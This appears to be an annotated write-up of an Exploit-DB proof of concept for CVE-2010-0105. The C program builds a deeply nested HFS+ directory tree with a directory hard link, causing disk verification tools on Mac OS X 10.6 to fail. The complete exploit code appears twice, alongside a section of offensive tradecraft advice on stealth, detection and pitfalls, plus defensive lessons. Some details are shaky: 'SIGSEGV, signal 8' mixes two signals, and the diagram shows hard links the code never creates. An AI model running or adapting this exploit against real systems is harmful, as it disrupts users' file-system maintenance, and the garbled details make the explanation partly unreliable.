Exploiting HFS+ Directory Hardlink Limits on macOS 10.6

Exploiting HFS+ Directory Hardlink Limits on macOS 10.6
What this paper is
This paper presents a Proof of Concept (PoC) exploit for a Denial of Service (DoS) vulnerability in the HFS+ file system on Apple Mac OS X 10.6 (Snow Leopard). The vulnerability, identified as CVE-2010-0105, is triggered by creating a deep and complex directory structure involving hard links, which causes file system checking utilities like diskutil and fsck_hfs to crash with a specific error code (SIGSEGV, signal 8).
Simple technical breakdown
The core of the exploit lies in overwhelming the HFS+ file system's internal structures that track directory relationships, specifically "multi-linked directories." By creating a recursive chain of hard links within directories, the exploit forces the file system checker to traverse an excessive number of links. This leads to an overflow or corruption of internal data structures, causing the file system checker to crash. The paper suggests that a specific command, connlink("C/C","CX");, is crucial for activating this "localized in phase" check. The PoC then proceeds to build a deep directory tree, aiming to trigger the overflow condition.
Complete code and payload walkthrough
The provided C code is a straightforward program designed to create the vulnerable file system structure.
/* Proof of Concept for CVE-2010-0105
MacOS X 10.6 hfs file system attack (Denial of Service)
by Maksymilian Arciemowicz from SecurityReason.com
http://securityreason.com/achievement_exploitalert/15
NOTE:
This DoS will be localized in phase
Checking multi-linked directories
So we need activate it with line
connlink("C/C","CX");
Now we need create PATH_MAX/2 directory tree to make overflow.
and we should get diskutil and fsck_hfs exit with sig=8
~ x$ diskutil verifyVolume /Volumes/max2
Started filesystem verification on disk0s3 max2
Performing live verification
Checking Journaled HFS Plus volume
Checking extents overflow file
Checking catalog file
Checking multi-linked files
Checking catalog hierarchy
Checking extended attributes file
Checking multi-linked directories
Maximum nesting of folders and directory hard links reached
The volume max2 could not be verified completely
Error: -9957: Filesystem verify or repair failed
Underlying error: 8: POSIX reports: Exec format error
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
// Function to create a directory with specific permissions
int createdir(char *name){
// mkdir(name, mode) attempts to create a directory named 'name'.
// The mode is calculated to grant read, write, and execute permissions
// to the owner, group, and others, while respecting the umask.
// S_IWUSR | S_IXUSR are explicitly added for owner write/execute.
if(0!=mkdir(name,((S_IRWXU | S_IRWXG | S_IRWXO) & ~umask(0))| S_IWUSR
|S_IXUSR)){
// If mkdir fails (returns non-zero), print an error message and exit.
printf("Can`t create %s", name);
exit(1);
} else {
// If successful, return 0.
return 0;
}
}
// Function to change the current working directory
int comein(char *name){
// chdir(name) attempts to change the current directory to 'name'.
if(0!=chdir(name)){
// If chdir fails, print an error and exit.
printf("Can`t chdir in to %s", name);
exit(1);
} else {
// If successful, return 0.
return 0;
}
}
// Function to create a hard link
int connlink(a,b)
char *a,*b;
{
// link(a, b) creates a hard link named 'b' pointing to the file/directory 'a'.
if(0!=link(a,b)){
// If link creation fails, print an error and exit.
printf("Can`t create link %s => %s",a,b);
exit(1);
} else {
// If successful, return 0.
return 0;
}
}
// Main function of the exploit
int main(int argc,char *argv[]){
int level; // Variable to control the depth of directory creation
FILE *fp; // Not used in the provided code, likely a remnant.
// Check if a command-line argument is provided for the recursion level.
if(argc==2) {
// If an argument is given, convert it to an integer and use it as the level.
level=atoi(argv[1]);
} else {
// If no argument is given, use a default level of 512.
level=512; //default
}
// Initial directory creation and linking steps.
createdir("C"); // Create a directory named "C".
createdir("C/C"); // Create a subdirectory "C" inside the first "C".
// This is the critical step mentioned in the paper's notes.
// It creates a hard link named "CX" pointing to "C/C".
// This is intended to trigger the "multi-linked directories" check.
connlink("C/C","CX");
// Change the current directory into "C".
comein("C");
// Loop to create a deep directory structure.
while(level--) {
// Inside the loop, for each iteration:
// 1. Create a new directory named "C" (which will be inside the current "C").
// 2. Change into the newly created "C" directory.
// The printf statement shows the current level and the success/failure of these operations.
printf("Level: %i mkdir:%i chdir:%i\n",level,
createdir("C"), // Creates ./C
comein("C")); // Changes into ./C
}
// After the loop, print a message indicating the next step.
// The intention is that running 'diskutil verifyVolume /' or similar
// after this structure is created will trigger the crash.
printf("check diskutil verifyVolume /\n");
return 0; // Exit the program successfully.
}
/*
- --
Best Regards,
- ------------------------
pub 1024D/A6986BD6 2008-08-22
uid Maksymilian Arciemowicz (cxib)
<cxib@securityreason.com>
sub 4096g/0889FA9A 2008-08-22
http://securityreason.com
http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
-----BEGIN PGP SIGNATURE-----
iEYEARECAAYFAkvTTQsACgkQpiCeOKaYa9bHwACfSRqy8xJbJBGFvLbLIjabxMkI
to4AoMMetii9Gc7EyOK7/3+QP4ynP5kY
=IML/
-----END PGP SIGNATURE-----
*/Code Fragment/Block -> Practical Purpose Mapping:
#include <stdio.h>,#include <unistd.h>, etc.: Standard C library includes for input/output, system calls, memory allocation, string manipulation, and system parameter definitions. Essential for interacting with the operating system and file system.int createdir(char *name): A helper function to create a new directory. It uses themkdir()system call. The permissions are set to be broadly accessible but also ensure the owner has write and execute permissions. This is a common pattern for creating directories that might be accessed by various processes.int comein(char *name): A helper function to change the current working directory. It uses thechdir()system call. This is fundamental for navigating the file system and creating nested structures relative to the current location.int connlink(a,b): A helper function to create a hard link. It uses thelink()system call. Hard links are crucial here as they create multiple directory entries pointing to the same inode, which is key to the "multi-linked directories" vulnerability.int main(int argc,char *argv[]): The entry point of the program.int level;: Declares an integer variablelevelto control the depth of the directory creation loop.if(argc==2) { level=atoi(argv[1]); } else { level=512; }: Parses a command-line argument to set thelevelor uses a default of 512 if no argument is provided. This allows for adjusting the intensity of the DoS.createdir("C"); createdir("C/C");: Creates the initial nested directories "C" and "C/C". This sets up the base for the recursive structure.connlink("C/C","CX");: This is a critical step. It creates a hard link named "CX" that points to the directory "C/C". The paper explicitly states this is needed to activate the "multi-linked directories" check. This creates a situation where "C/C" is accessible via its original path and also via the "CX" link.comein("C");: Changes the current directory to "C". All subsequent directory creations will be relative to this "C".while(level--) { printf("Level: %i mkdir:%i chdir:%i\n", level, createdir("C"), comein("C")); }: This loop is the core of the DoS payload. In each iteration:createdir("C"): Creates a new directory named "C" inside the current directory. Since we are inside "C", this creates "C/C", then "C/C/C", and so on, creating a deep, nested structure.comein("C"): Changes the directory into the newly created "C". This moves the current working directory deeper into the nested structure.- The
printfstatement provides verbose output, showing the currentleveland the success (0) or failure (non-zero) of themkdirandchdiroperations. This helps in debugging and observing the progress of the exploit.
printf("check diskutil verifyVolume /\n");: This final message indicates that the file system structure has been prepared. The next step for an attacker would be to run a file system check utility.
Shellcode/Payload Segments:
There is no traditional shellcode in this PoC. The "payload" is the state of the file system after the C program has executed. The C program itself is the exploit mechanism, not a loader for separate shellcode.
Practical details for offensive operations teams
- Required Access Level: Local user access is required. The exploit operates on the local file system and does not require elevated privileges to create directories and hard links.
- Lab Preconditions:
- A macOS 10.6 (Snow Leopard) system is required. This vulnerability is specific to this version and potentially earlier versions of HFS+.
- Sufficient disk space to create a deep directory tree. The
levelparameter, defaulting to 512, can create a significant number of directories. The paper mentionsPATH_MAX/2, which implies a large number of nested directories might be needed, potentially consuming considerable disk space. - The target file system must be HFS+ (Journaled or not).
- Tooling Assumptions:
- A C compiler (like GCC, commonly available on macOS) to compile the provided C code.
- Standard macOS command-line utilities (
diskutil,fsck_hfs).
- Execution Pitfalls:
- Disk Space Exhaustion: Creating an extremely deep directory tree can consume significant disk space, potentially leading to the system becoming unresponsive or crashing due to lack of space before the intended DoS is triggered.
- Resource Limits: The operating system might have limits on the maximum depth of directory nesting or the total number of files/directories, which could prevent the exploit from reaching the critical state. The
PATH_MAXmentioned in the paper is a relevant system constant. - File System Corruption: While the goal is DoS, aggressive file system manipulation can lead to actual data corruption, making recovery difficult.
- Detection: While the exploit itself is simple file system operations, the creation of a massive, deeply nested directory structure might be flagged by file integrity monitoring (FIM) tools or unusual disk activity alerts.
- Target Version Specificity: This exploit is highly specific to macOS 10.6 and its HFS+ implementation. Newer macOS versions and different file systems (like APFS) will not be vulnerable.
- Tradecraft Considerations:
- Stealth: The initial creation of the directory structure is relatively stealthy, as it uses standard file system operations. However, the sheer volume of operations might be detectable.
- Triggering: The actual DoS is triggered by running a file system check utility. This is a manual step that an operator would perform. It's important to understand that the C program prepares the system for the DoS, but doesn't execute it directly.
- Clean-up: The created directory structure can be very large and difficult to remove manually if the system becomes unstable. Planning for clean-up or using a dedicated test volume is advisable.
- Likely Failure Points:
- The exploit might fail if the system has been patched or if the HFS+ implementation has changed in a way that mitigates this specific vulnerability.
- System resource limitations (CPU, memory, disk I/O) could cause the process to hang or crash before completing the directory creation.
- The
connlink("C/C","CX");step might not be sufficient on all configurations or might be a red herring if other factors are more critical. The paper's note suggests this is a specific phase trigger.
Where this was used and when
- Context: This exploit was developed as a Proof of Concept (PoC) to demonstrate a vulnerability in macOS 10.6's HFS+ file system. It was intended to show how a specific file system operation could lead to a system crash.
- Timeframe: Published on April 24, 2010. The vulnerability likely existed in macOS 10.6 and was patched by Apple in subsequent updates. Exploits of this nature are typically developed shortly after the vulnerability is discovered and before patches are widely deployed.
Defensive lessons for modern teams
- File System Integrity: Implement robust file integrity monitoring (FIM) to detect unusual file system activity, such as the rapid creation of a large number of nested directories or hard links.
- Patch Management: Keep operating systems and file system drivers up-to-date. This vulnerability was addressed by Apple, highlighting the importance of timely patching.
- Fuzzing: Employ file system fuzzing techniques during development and testing to uncover similar vulnerabilities related to complex or malformed file system structures.
- Resource Limits: Understand and enforce system-level resource limits (e.g., maximum directory depth, file counts) to prevent resource exhaustion attacks.
- Secure Coding Practices: Developers of file system drivers and utilities must adhere to secure coding practices, paying close attention to input validation, buffer management, and the handling of complex data structures.
- Auditing: Regularly audit file system logs for suspicious patterns that might indicate an attempt to exploit such vulnerabilities.
ASCII visual (if applicable)
This exploit involves a recursive directory creation process. A simplified visual representation of the directory structure being built could be:
/
└── C/
└── C/ (linked as CX)
└── C/
└── C/
└── C/
... (deeply nested)The connlink("C/C","CX"); step essentially creates an alias or another path to the same directory, which is then traversed by the file system checker.
Initial State:
/
After createdir("C"):
/
└── C/
After createdir("C/C"):
/
└── C/
└── C/
After connlink("C/C","CX"):
/
└── C/
├── C/ <-- This directory inode is shared
└── CX <-- This is a hard link pointing to the same inode as C/C
After comein("C") and the loop:
/
└── C/
├── C/ <-- Current directory
│ ├── C/
│ │ ├── C/
│ │ │ └── C/
│ │ │ ... (deep nesting)
│ │ └── CX (pointing to the C/C directory above)
│ └── CX (pointing to the C/C directory above)
└── CX (pointing to the C/C directory above)The connlink("C/C","CX"); creates a situation where the directory C/C has multiple names/paths pointing to it. The subsequent deep nesting within C/C and its hard links exacerbates the problem for the file system checker.
Source references
- Paper ID: 12375
- Paper Title: Apple Mac OSX 10.6 - HFS FileSystem (Denial of Service)
- Author: Maksymilian Arciemowicz
- Published: 2010-04-24
- Keywords: OSX,dos
- Paper URL: https://www.exploit-db.com/papers/12375
- Raw URL: https://www.exploit-db.com/raw/12375
- CVE: CVE-2010-0105
Original Exploit-DB Content (Verbatim)
// -----BEGIN PGP SIGNED MESSAGE-----
// Hash: SHA1
/* Proof of Concept for CVE-2010-0105
MacOS X 10.6 hfs file system attack (Denial of Service)
by Maksymilian Arciemowicz from SecurityReason.com
http://securityreason.com/achievement_exploitalert/15
NOTE:
This DoS will be localized in phase
Checking multi-linked directories
So we need activate it with line
connlink("C/C","CX");
Now we need create PATH_MAX/2 directory tree to make overflow.
and we should get diskutil and fsck_hfs exit with sig=8
~ x$ diskutil verifyVolume /Volumes/max2
Started filesystem verification on disk0s3 max2
Performing live verification
Checking Journaled HFS Plus volume
Checking extents overflow file
Checking catalog file
Checking multi-linked files
Checking catalog hierarchy
Checking extended attributes file
Checking multi-linked directories
Maximum nesting of folders and directory hard links reached
The volume max2 could not be verified completely
Error: -9957: Filesystem verify or repair failed
Underlying error: 8: POSIX reports: Exec format error
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
int createdir(char *name){
if(0!=mkdir(name,((S_IRWXU | S_IRWXG | S_IRWXO) & ~umask(0))| S_IWUSR
|S_IXUSR)){
printf("Can`t create %s", name);
exit(1);}
else
return 0;
}
int comein(char *name){
if(0!=chdir(name)){
printf("Can`t chdir in to %s", name);
exit(1);}
else
return 0;
}
int connlink(a,b)
char *a,*b;
{
if(0!=link(a,b)){
printf("Can`t create link %s => %s",a,b);
exit(1);}
else
return 0;
}
int main(int argc,char *argv[]){
int level;
FILE *fp;
if(argc==2) {
level=atoi(argv[1]);
}else{
level=512; //default
}
createdir("C"); //create hardlink
createdir("C/C"); //create hardlink
connlink("C/C","CX"); //we need use to checking multi-linked directorie
comein("C");
while(level--)
printf("Level: %i mkdir:%i chdir:%i\n",level,
createdir("C"),
comein("C"));
printf("check diskutil verifyVolume /\n");
return 0;
}
/*
- --
Best Regards,
- ------------------------
pub 1024D/A6986BD6 2008-08-22
uid Maksymilian Arciemowicz (cxib)
<cxib@securityreason.com>
sub 4096g/0889FA9A 2008-08-22
http://securityreason.com
http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
-----BEGIN PGP SIGNATURE-----
iEYEARECAAYFAkvTTQsACgkQpiCeOKaYa9bHwACfSRqy8xJbJBGFvLbLIjabxMkI
to4AoMMetii9Gc7EyOK7/3+QP4ynP5kY
=IML/
-----END PGP SIGNATURE-----
*/